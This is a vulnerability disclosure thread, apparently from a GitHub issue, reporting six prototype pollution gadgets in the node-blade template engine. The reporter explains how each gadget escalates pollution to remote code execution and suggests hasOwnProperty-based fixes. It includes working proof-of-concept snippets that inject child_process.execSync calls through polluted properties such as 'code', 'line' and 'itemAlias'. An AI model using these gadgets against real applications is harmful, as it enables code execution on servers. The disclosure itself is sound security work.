vulnerable undefined property lookup that escalating prototype pollution to remote code execution

[jackfromeast]

Hi there!

I've identified several prototype pollution gadgets within the node-blade template engine that could potentially be leveraged by attackers to achieve remote code execution via prototype pollution vulnerabilities.

In light of the findings, I kindly request your confirmation of these potential issues to improve the security of the JavaScript ecosystem. We would greatly appreciate any steps taken to address them and we stand ready to submit a pull request on the GitHub repository to help improve the security for all users of your excellent work.

Root Cause

The existence of these gadgets can be attributed to a specific programming practice. When checking for the presence of a property within an object variable, the lookup scope isn't explicitly defined. In JavaScript, the absence of a defined lookup scope prompts a search up to the root prototype (Object.prototype). This could potentially be under the control of an attacker if other prototype pollution vulnerabilities are present within the application.

Some vulnerable coding patterns are as follows.

if(obj.prop){ //... }
var x = obj.prop || ''..."

Impact

If the application server is using the node-blade as the backend template engine, and there is another prototype pollution vulnerability in the application, then the attacker could leverage the found gadgets in the node-blade template engine to escalate the prototype pollution to remote code execution.

Proof of Concept

Below, I present a Proof of Concept (PoC) to demonstrate the gadgets that I've recently identified in [email protected]

Gadget 1

Object.prototype.code = "global.process.mainModule.require('child_process').execSync('sleep 10')"
Object.prototype.value = "somevalue" // helper property, bladejs/lib/parser/index.js::1316

const template = `html
    head
        title Blade
    body
        #nav
            ul
                - for(var i in nav)
                    li
                        a(href=nav[i])= i
        #content.center
            h1 Blade is cool`;

blade.compile(template, {'debug': true}, function(err, tmpl) {
    tmpl({'nav': []}, function(err, html) {
        console.log(html, err);
    });
});

Gadget 2

Object.prototype.line = '1\nglobal.process.mainModule.require("child_process").execSync("sleep 10")\n'
Object.prototype.value = "somevalue" // helper property, bladejs/lib/parser/index.js::1316

const template = `html
    head
        title Blade
    body
        #nav
            ul
                - for(var i in nav)
                    li
                        a(href=nav[i])= i
        #content.center
            h1 Blade is cool`;

blade.compile(template, {'debug': true}, function(err, tmpl) {
    tmpl({'nav': []}, function(err, html) {
        console.log(html, err);
    });
});

Gadget 3

Object.prototype.templateNamespace = "[__=global.process.mainModule.require('child_process').execSync('sleep 10')?'':{}]"
Object.prototype.value = "somevalue" // helper property, bladejs/lib/parser/index.js::1316

const template = `html
    head
        title Blade
    body
        #nav
            ul
                - for(var i in nav)
                    li
                        a(href=nav[i])= i
        #content.center
            h1 Blade is cool`;

blade.compile(template, {'debug': true}, function(err, tmpl) {
    tmpl({'nav': []}, function(err, html) {
        console.log(html, err);
    });
});

Gadget 4

Object.prototype.exposing = ["global.process.mainModule.require('child_process').execSync('sleep 10')"]

// This template includes the `include` directive
const mainFilePath = path.join(__dirname, '/views/include.blade');
"""
h1 Begin include
include "./included.blade"
h1 After included
h1 End include
"""

fs.readFile(mainFilePath, 'utf8', (err, mainFile) => {
    if (err) throw err;

    blade.compile(mainFile, { filename: mainFilePath, debug: true }, (err, tmpl) => {
        tmpl({}, function(err, html) {});
    });
});

Gadget 5

Object.prototype.output = {
    to: "global.process.mainModule.require('child_process').execSync('sleep 10')\nxxx"
}

// This template includes the `render` directive
const mainFilePath = path.join(__dirname, '/views/functions_and_block.blade');
"""
p Before foo
block foo
	h1 Inside foo
p After foo

include "functions_and_block_include.blade"

p Before old bar
block bar
	h1 Inside old bar
p After old bar
call defineBar
| Temp
call defineBar()
p After call define bar
render bar("idiot")

block text
	h1 Text before
p The end
replace text
	call text
p The very end
"""

fs.readFile(mainFilePath, 'utf8', (err, mainFile) => {
    if (err) throw err;

    blade.compile(mainFile, { filename: mainFilePath, debug: true }, (err, tmpl) => {
        if (err) throw err;

        tmpl({}, function(err, html) {
            if (err) throw err;
            console.log(html);
        });
    });
});

Gadget 6

Object.prototype.itemAlias = "){global.process.mainModule.require('child_process').execSync('sleep 10')}\n,function("

// This template includes the `foreach` directive
const mainFilePath = path.join(__dirname, '/views/foreach.blade');
"""
- var users = ["Joe", "Bob", "Billy"]
foreach users
	p Welcome, #{this}
foreach users as user
	p Welcome again, #{user}
	p But `this` == `user`, as well? #{this == user}
else
	p Users should not be empty?!?!
- var empty = []
foreach empty as foo
	p This should not happen
else
	p Empty is definitely empty
foreach empty as foo
	p This should also not happen
- var obj = {"list": [1, 2, 3]}
foreach obj.list
	p= this
"""

fs.readFile(mainFilePath, 'utf8', (err, mainFile) => {
    if (err) throw err;

    blade.compile(mainFile, { filename: mainFilePath, debug: true }, (err, tmpl) => {
        if (err) throw err;

        tmpl({}, function(err, html) {
            if (err) throw err;
            console.log(html);
        });
    });
});

General Suggested Fix

To mitigate this issue, I recommend constraining the property lookup to the current object variable. Here are two general strategies:

1. Utilize the hasOwnProperty method, especially when there's no need to traverse the prototype chain.

if(obj.hasOwnProperty('prop')){ //... }
var x = obj.hasOwnProperty('prop') ? obj.prop : ''

2. Alternatively, consider using Object.create(null) to create a truly empty object, which won't include the __proto__ property.

var obj = Object.create(null);

By adopting these measures, we can effectively prevent the potential exploitation of prototype pollution vulnerabilities.

Reference

Here is the reference link where a similar security issue has been found in ejs template engine: https://github.com/mde/ejs/pull/601

[bminer]

Sorry, I do not understand the security vulnerability here. Could you please elaborate with a specific, working example? It is not clear to me how these gadgets help attackers leverage a prototype pollution vulnerability.

[jackfromeast]

No problem!

In short, the existing prototype pollution vulnerability allows the attacker to inject any property with arbitrary value to the root prototype(Object.prototype). However, for a more critical outcome like RCE instead of DoS, the attacker needs the program to load the polluted value from the root prototype through undefined property lookups. And, this polluted value must then flow to execution sinks (e.g., the Function constructor and eval function) through the program's data flow.

Taking Gadget 1 (code, value) as an example, let's assume there is a prototype pollution vulnerability in the application that allows the attacker to inject the 'code' property into the root prototype. In the compilation stage of the 'node-blade' module, specifically at line 332 in 'compiler.js', the expression 'attr[i].code' initiates a property lookup through the prototype chain. Since attr[i] does not contain a 'code' property of its own, the lookup proceeds up the prototype chain and returns the attacker's polluted value instead of 'undefined'. Then, the polluted value will be pushed to the buffer and become part of the template function body, which will be further executed.

else
	varAttrs += "," + JSON.stringify(i) + ":{v:" + attrs[i].code +
		(attrs[i].escape ? ",e:1" : "") +
		(i == "class" && attrs[i].append ?
			",a:" + JSON.stringify(attrs[i].append): "") + "}";
}
if(varAttrs.length > 0)
        this._pushOff(ns + ".r.attrs({" + varAttrs.substr(1) + "}, " + ns + ");");

In this case, you can rewrite attrs[i].code to attrs[i].hasOwnProperty('code')? attrs[i].code: undefined, if you don't intentionally want load property from its prototype chain. Another way is to create a pure empty object (doesn't contain __proto__ property by default) for the items in attrs array by using Object.create(null);

[bminer]

I see now. Thanks for clarifying!